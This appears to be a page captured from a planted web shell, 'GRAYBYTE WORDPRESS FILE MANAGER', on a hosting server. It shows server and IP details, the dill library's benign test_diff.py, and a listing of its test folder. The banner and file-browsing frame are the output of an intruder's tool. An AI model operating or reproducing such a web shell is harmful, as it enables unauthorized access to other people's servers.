✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.170
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/dill/tests//test_diff.py
#!/usr/bin/env python
#
# Author: Mike McKerns (mmckerns @caltech and @uqfoundation)
# Copyright (c) 2008-2016 California Institute of Technology.
# Copyright (c) 2016-2023 The Uncertainty Quantification Foundation.
# License: 3-clause BSD.  The full license text is available at:
#  - https://github.com/uqfoundation/dill/blob/master/LICENSE

from dill import __diff as diff

import sys
IS_PYPY = not hasattr(sys, 'getrefcount')

class A:
    pass

def test_diff():
    a = A()
    b = A()
    c = A()
    a.a = b
    b.a = c
    diff.memorise(a)
    assert not diff.has_changed(a)
    c.a = 1
    assert diff.has_changed(a)
    diff.memorise(c, force=True)
    assert not diff.has_changed(a)
    c.a = 2
    assert diff.has_changed(a)
    changed = diff.whats_changed(a)
    assert list(changed[0].keys()) == ["a"]
    assert not changed[1]

    a2 = []
    b2 = [a2]
    c2 = [b2]
    diff.memorise(c2)
    assert not diff.has_changed(c2)
    a2.append(1)
    assert diff.has_changed(c2)
    changed = diff.whats_changed(c2)
    assert changed[0] == {}
    assert changed[1]

    a3 = {}
    b3 = {1: a3}
    c3 = {1: b3}
    diff.memorise(c3)
    assert not diff.has_changed(c3)
    a3[1] = 1
    assert diff.has_changed(c3)
    changed = diff.whats_changed(c3)
    assert changed[0] == {}
    assert changed[1]

    if not IS_PYPY:
        import abc
        # make sure the "_abc_invaldation_counter" doesn't make test fail
        diff.memorise(abc.ABCMeta, force=True)
        assert not diff.has_changed(abc)
        abc.ABCMeta.zzz = 1
        assert diff.has_changed(abc)
        changed = diff.whats_changed(abc)
        assert list(changed[0].keys()) == ["ABCMeta"]
        assert not changed[1]

    '''
    import Queue
    diff.memorise(Queue, force=True)
    assert not diff.has_changed(Queue)
    Queue.Queue.zzz = 1
    assert diff.has_changed(Queue)
    changed = diff.whats_changed(Queue)
    assert list(changed[0].keys()) == ["Queue"]
    assert not changed[1]

    import math
    diff.memorise(math, force=True)
    assert not diff.has_changed(math)
    math.zzz = 1
    assert diff.has_changed(math)
    changed = diff.whats_changed(math)
    assert list(changed[0].keys()) == ["zzz"]
    assert not changed[1]
    '''

    a = A()
    b = A()
    c = A()
    a.a = b
    b.a = c
    diff.memorise(a)
    assert not diff.has_changed(a)
    c.a = 1
    assert diff.has_changed(a)
    diff.memorise(c, force=True)
    assert not diff.has_changed(a)
    del c.a
    assert diff.has_changed(a)
    changed = diff.whats_changed(a)
    assert list(changed[0].keys()) == ["a"]
    assert not changed[1]


if __name__ == '__main__':
    test_diff()


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Feb 2026 6.01 AM
root / root
0755
__pycache__
--
11 Feb 2026 6.01 AM
root / root
0755
__init__.py
0.489 KB
20 Jan 2026 1.01 PM
root / root
0644
__main__.py
0.878 KB
20 Jan 2026 1.01 PM
root / root
0644
test_abc.py
3.748 KB
20 Jan 2026 1.01 PM
root / root
0644
test_check.py
1.363 KB
20 Jan 2026 1.01 PM
root / root
0644
test_classdef.py
6.992 KB
20 Jan 2026 1.01 PM
root / root
0644
test_dataclasses.py
0.869 KB
20 Jan 2026 1.01 PM
root / root
0644
test_detect.py
3.987 KB
20 Jan 2026 1.01 PM
root / root
0644
test_dictviews.py
1.306 KB
20 Jan 2026 1.01 PM
root / root
0644
test_diff.py
2.604 KB
20 Jan 2026 1.01 PM
root / root
0644
test_extendpickle.py
1.284 KB
20 Jan 2026 1.01 PM
root / root
0644
test_fglobals.py
1.637 KB
20 Jan 2026 1.01 PM
root / root
0644
test_file.py
13.26 KB
20 Jan 2026 1.01 PM
root / root
0644
test_functions.py
4.167 KB
20 Jan 2026 1.01 PM
root / root
0644
test_functors.py
0.908 KB
20 Jan 2026 1.01 PM
root / root
0644
test_logger.py
2.329 KB
20 Jan 2026 1.01 PM
root / root
0644
test_mixins.py
3.913 KB
20 Jan 2026 1.01 PM
root / root
0644
test_module.py
1.897 KB
20 Jan 2026 1.01 PM
root / root
0644
test_moduledict.py
1.154 KB
20 Jan 2026 1.01 PM
root / root
0644
test_nested.py
3.072 KB
20 Jan 2026 1.01 PM
root / root
0644
test_objects.py
1.791 KB
20 Jan 2026 1.01 PM
root / root
0644
test_properties.py
1.314 KB
20 Jan 2026 1.01 PM
root / root
0644
test_pycapsule.py
1.384 KB
20 Jan 2026 1.01 PM
root / root
0644
test_recursive.py
4.084 KB
20 Jan 2026 1.01 PM
root / root
0644
test_registered.py
1.536 KB
20 Jan 2026 1.01 PM
root / root
0644
test_restricted.py
0.765 KB
20 Jan 2026 1.01 PM
root / root
0644
test_selected.py
3.143 KB
20 Jan 2026 1.01 PM
root / root
0644
test_session.py
9.923 KB
20 Jan 2026 1.01 PM
root / root
0644
test_source.py
5.895 KB
20 Jan 2026 1.01 PM
root / root
0644
test_temp.py
2.558 KB
20 Jan 2026 1.01 PM
root / root
0644
test_weakref.py
1.564 KB
20 Jan 2026 1.01 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF